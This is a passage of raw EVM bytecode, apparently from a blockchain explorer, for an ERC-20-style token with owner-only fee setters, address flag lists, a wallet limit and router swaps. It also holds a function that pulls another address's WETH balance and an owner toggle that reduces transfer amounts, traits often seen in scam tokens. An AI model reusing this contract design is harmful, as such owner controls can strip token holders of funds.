ffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d95781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461095891906134bb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aee57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061353b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906135a7565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa906135a7565b60405180910390fd5b60005b8251811015610d93578160096000858481518110610d2757610d266135c7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d8b906135f6565b915050610d06565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d906135a7565b60405180910390fd5b8060178190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edb906135a7565b60405180910390fd5b600060195414610ef5576000610ef7565b435b601981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611171576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611168906135a7565b60405180910390fd5b8060188190555050565b60606007805461118a9061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546111b69061345b565b80156112035780601f106111d857610100808354040283529160200191611203565b820191906000526020600020905b8154815290600101906020018083116111e657829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113c4578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112b89190612f4e565b602060405180830381865afa1580156112d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f99190613653565b6040518363ffffffff1660e01b81526004016113169291906136a1565b6020604051808303816000875af1158015611335573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135991906136df565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113c2573d6000803e3d6000fd5b505b50565b60006113d4338484611c26565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906135a7565b60405180910390fd5b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff9190613721565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161156092919061374e565b6020604051808303816000875af115801561157f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a391906136df565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115fb9190612f4e565b602060405180830381865afa158015611618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163c9190613653565b6040518463ffffffff1660e01b815260040161165a93929190613777565b6020604051808303816000875af1158015611679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169d91906136df565b5060005b848490508110156116f0576116dd838686848181106116c3576116c26135c7565b5b90506020020160208101906116d89190612f69565b6120da565b80806116e8906135f6565b9150506116a1565b504360198190555060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117339190612f4e565b602060405180830381865afa158015611750573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117749190613653565b905060008111156117ff578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b81526004016117ba92919061374e565b6020604051808303816000875af11580156117d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117fd91906136df565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c906135a7565b60405180910390fd5b601660009054906101000a900460ff1615601660006101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e0906135a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f906137fa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c199190612e9a565b60405180910390a3505050565b6000611c3184610eff565b905081811015611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90613866565b60405180910390fd5b600d60009054906101000a900460ff1615611c9d57611c96848484612580565b50506120d5565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d055750600d60009054906101000a900460ff16155b8015611d5b5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db15750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dc05750601554600e54115b15611e33576000839050611dd330610eff565b811115611e1d57600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b601754811115611e3157611e308161269e565b5b505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ed75750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ef05750600d60009054906101000a900460ff16155b156120c657600060195411611f0457600080fd5b60019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611faf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120055750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561208757600e600081548092919061201d906135f6565b919050555060006018541115612086576018548361203a86610eff565b6120449190613886565b1115612085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207c90613906565b60405180910390fd5b5b5b601660009054906101000a900460ff1680156120a257508183145b156120c5576305f5e100836120b79190613955565b836120c291906134bb565b92505b5b6120d28585858461290c565b50505b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121889190613721565b90506000600267ffffffffffffffff8111156121a7576121a6613081565b5b6040519080825280602002602001820160405280156121d55781602001602082028036833780820191505090505b50905081816000815181106121ed576121ec6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061223c5761223b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600267ffffffffffffffff81111561229357612292613081565b5b6040519080825280602002602001820160405280156122c15781602001602082028036833780820191505090505b50905030816000815181106122d9576122d86135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508281600181518110612328576123276135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161239d9190612f4e565b602060405180830381865afa1580156123ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123de9190613653565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b815260040161243f929190613a44565b600060405180830381865afa15801561245c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906124859190613b37565b600181518110612498576124976135c7565b5b602002602001015190508181116124af57806124b1565b815b9050600081036124c5575050505050612561565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795826000878a426040518663ffffffff1660e01b8152600401612529959493929190613bbb565b600060405180830381600087803b15801561254357600080fd5b505af1158015612557573d6000803e3d6000fd5b5050505050505050505b6000600d60006101000a81548160ff0219169083151502179055505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125d191906134bb565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126279190613886565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161268b9190612e9a565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156126d6576126d5613081565b5b6040519080825280602002602001820160405280156127045781602001602082028036833780820191505090505b509050308160008151811061271c5761271b6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156127c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127e79190613721565b816001815181106127fb576127fa6135c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016128bb959493929190613c15565b600060405180830381600087803b1580156128d557600080fd5b505af11580156128e9573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115612bab576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a1457601454600e5411612a0957601054612a0d565b6012545b9050612a81565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a8057601354600e5411612a7957600f54612a7d565b6011545b90505b5b600060648286612a919190613c6f565b612a9b9190613955565b90506000811115612ba8578083612ab29190613886565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aff9190613886565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b9f9190612e9a565b60405180910390a35b50505b8083612bb791906134bb565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c019190613886565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c9f91906134bb565b604051612cac9190612e9a565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cf5578082015181840152602081019050612cda565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d1d82612cbb565b612d278185612cc6565b9350612d37818560208601612cd7565b612d4081612d01565b840191505092915050565b60006020820190508181036000830152612d658184612d12565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dac82612d81565b9050919050565b612dbc81612da1565b8114612dc757600080fd5b50565b600081359050612dd981612db3565b92915050565b6000819050919050565b612df281612ddf565b8114612dfd57600080fd5b50565b600081359050612e0f81612de9565b92915050565b60008060408385031215612e2c57612e2b612d77565b5b6000612e3a85828601612dca565b9250506020612e4b85828601612e00565b9150509250929050565b60008115159050919050565b612e6a81612e55565b82525050565b6000602082019050612e856000830184612e61565b92915050565b612e9481612ddf565b82525050565b6000602082019050612eaf6000830184612e8b565b92915050565b600080600060608486031215612ece57612ecd612d77565b5b6000612edc86828701612dca565b9350506020612eed86828701612dca565b9250506040612efe86828701612e00565b9150509250925092565b600060ff82169050919050565b612f1e81612f08565b82525050565b6000602082019050612f396000830184612f15565b92915050565b612f4881612da1565b82525050565b6000602082019050612f636000830184612f3f565b92915050565b600060208284031215612f7f57612f7e612d77565b5b6000612f8d84828501612dca565b91505092915050565b6000612fa182612d81565b9050919050565b612fb181612f96565b8114612fbc57600080fd5b50565b600081359050612fce81612fa8565b92915050565b600060208284031215612fea57612fe9612d77565b5b6000612ff884828501612fbf565b91505092915050565b600080600080600060a0868803121561301d5761301c612d77565b5b600061302b88828901612e00565b955050602061303c88828901612e00565b945050604061304d88828901612e00565b935050606061305e88828901612e00565b925050608061306f88828901612e00565b9150509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6130b982612d01565b810181811067ffffffffffffffff821117156130d8576130d7613081565b5b80604052505050565b60006130eb612d6d565b90506130f782826130b0565b919050565b600067ffffffffffffffff82111561311757613116613081565b5b602082029050602081019050919050565b600080fd5b600061314061313b846130fc565b6130e1565b9050808382526020820190506020840283018581111561316357613162613128565b5b835b8181101561318c57806131788882612dca565b845260208401935050602081019050613165565b5050509392505050565b600082601f8301126131ab576131aa61307c565b5b81356131bb84826020860161312d565b91505092915050565b6131cd81612e55565b81146131d857600080fd5b50565b6000813590506131ea816131c4565b92915050565b6000806040838503121561320757613206612d77565b5b600083013567ffffffffffffffff81111561322557613224612d7c565b5b61323185828601613196565b9250506020613242858286016131db565b9150509250929050565b60006020828403121561326257613261612d77565b5b600061327084828501612e00565b91505092915050565b6000819050919050565b600061329e61329961329484612d81565b613279565b612d81565b9050919050565b60006132b082613283565b9050919050565b60006132c2826132a5565b9050919050565b6132d2816132b7565b82525050565b60006020820190506132ed60008301846132c9565b92915050565b6132fc81612f96565b82525050565b600060208201905061331760008301846132f3565b92915050565b600080fd5b60008083601f8401126133385761333761307c565b5b8235905067ffffffffffffffff8111156133555761335461331d565b5b60208301915083602082028301111561337157613370613128565b5b9250929050565b6000806000806060858703121561339257613391612d77565b5b60006133a087828801612dca565b945050602085013567ffffffffffffffff8111156133c1576133c0612d7c565b5b6133cd87828801613322565b935093505060406133e087828801612e00565b91505092959194509250565b6000806040838503121561340357613402612d77565b5b600061341185828601612dca565b925050602061342285828601612dca565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061347357607f821691505b6020821081036134865761348561342c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134c682612ddf565b91506134d183612ddf565b92508282039050818111156134e9576134e861348c565b5b92915050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000613525600783612cc6565b9150613530826134ef565b602082019050919050565b6000602082019050818103600083015261355481613518565b9050919050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b6000613591601183612cc6565b915061359c8261355b565b602082019050919050565b600060208201905081810360008301526135c081613584565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061360182612ddf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136335761363261348c565b5b600182019050919050565b60008151905061364d81612de9565b92915050565b60006020828403121561366957613668612d77565b5b60006136778482850161363e565b91505092915050565b600061368b826132a5565b9050919050565b61369b81613680565b82525050565b60006040820190506136b66000830185613692565b6136c36020830184612e8b565b9392505050565b6000815190506136d9816131c4565b92915050565b6000602082840312156136f5576136f4612d77565b5b6000613703848285016136ca565b91505092915050565b60008151905061371b81612db3565b92915050565b60006020828403121561373757613736612d77565b5b60006137458482850161370c565b91505092915050565b60006040820190506137636000830185612f3f565b6137706020830184612e8b565b9392505050565b600060608201905061378c6000830186612f3f565b6137996020830185612f3f565b6137a66040830184612e8b565b949350505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b60006137e4600883612cc6565b91506137ef826137ae565b602082019050919050565b60006020820190508181036000830152613813816137d7565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b6000613850601083612cc6565b915061385b8261381a565b602082019050919050565b6000602082019050818103600083015261387f81613843565b9050919050565b600061389182612ddf565b915061389c83612ddf565b92508282019050808211156138b4576138b361348c565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b60006138f0600b83612cc6565b91506138fb826138ba565b602082019050919050565b6000602082019050818103600083015261391f816138e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061396082612ddf565b915061396b83612ddf565b92508261397b5761397a613926565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139bb81612da1565b82525050565b60006139cd83836139b2565b60208301905092915050565b6000602082019050919050565b60006139f182613986565b6139fb8185613991565b9350613a06836139a2565b8060005b83811015613a37578151613a1e88826139c1565b9750613a29836139d9565b925050600181019050613a0a565b5085935050505092915050565b6000604082019050613a596000830185612e8b565b8181036020830152613a6b81846139e6565b90509392505050565b600067ffffffffffffffff821115613a8f57613a8e613081565b5b602082029050602081019050919050565b6000613ab3613aae84613a74565b6130e1565b90508083825260208201905060208402830185811115613ad657613ad5613128565b5b835b81811015613aff5780613aeb888261363e565b845260208401935050602081019050613ad8565b5050509392505050565b600082601f830112613b1e57613b1d61307c565b5b8151613b2e848260208601613aa0565b91505092915050565b600060208284031215613b4d57613b4c612d77565b5b600082015167ffffffffffffffff811115613b6b57613b6a612d7c565b5b613b7784828501613b09565b91505092915050565b6000819050919050565b6000613ba5613ba0613b9b84613b80565b613279565b612ddf565b9050919050565b613bb581613b8a565b82525050565b600060a082019050613bd06000830188612e8b565b613bdd6020830187613bac565b8181036040830152613bef81866139e6565b9050613bfe6060830185612f3f565b613c0b6080830184612e8b565b9695505050505050565b600060a082019050613c2a6000830188612e8b565b613c376020830187613bac565b8181036040830152613c4981866139e6565b9050613c586060830185613692565b613c656080830184612e8b565b9695505050505050565b6000613c7a82612ddf565b9150613c8583612ddf565b9250828202613c9381612ddf565b91508282048414831517613caa57613ca961348c565b5b509291505056fea2646970667358221220a3ddd9a8c94f365fc9ac60d3c4b3bac0ac0778f5f1ba497fe894f04f9afa71c464736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612d4b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612e15565b610817565b6040516102529190612e70565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e9a565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e9a565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612eb5565b61083e565b6040516102e59190612e70565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e9a565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612f24565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612f4e565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f69565b610a27565b6040516103a39190612e70565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612fd4565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f69565b610b71565b6040516104099190612e70565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190613001565b610b91565b005b34801561044757600080fd5b50610450610c49565b60405161045d9190612f4e565b60405180910390f35b34801561047257600080fd5b5061047b610c6f565b6040516104889190612e9a565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906131f0565b610c75565b005b3480156104c657600080fd5b506104e160048036038101906104dc919061324c565b610d98565b005b3480156104ef57600080fd5b506104f8610e30565b60405161050591906132d8565b60405180910390f35b34801561051a57600080fd5b50610523610e56565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f69565b610eff565b6040516105599190612e9a565b60405180910390f35b34801561056e57600080fd5b50610577610f48565b005b34801561058557600080fd5b5061058e611094565b60405161059b9190613302565b60405180910390f35b3480156105b057600080fd5b506105b96110ba565b6040516105c69190612f4e565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f1919061324c565b6110e3565b005b34801561060457600080fd5b5061060d61117b565b60405161061a9190612d4b565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f69565b61120d565b005b34801561065857600080fd5b50610673600480360381019061066e9190612e15565b6113c7565b6040516106809190612e70565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613378565b6113de565b005b3480156106be57600080fd5b506106c7611807565b005b3480156106d557600080fd5b506106de6118c1565b6040516106eb9190612e70565b60405180910390f35b34801561070057600080fd5b5061071b600480360381019061071691906133ec565b6118d4565b6040516107289190612e9a565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f69565b61195b565b005b34801561076657600080fd5b5061076f611b15565b60405161077c9190612f4e565b60405180910390f35b6060600680546107949061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c09061345b565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611b3b565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611c26565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d95781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461095891906134bb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aee57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b249061353b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146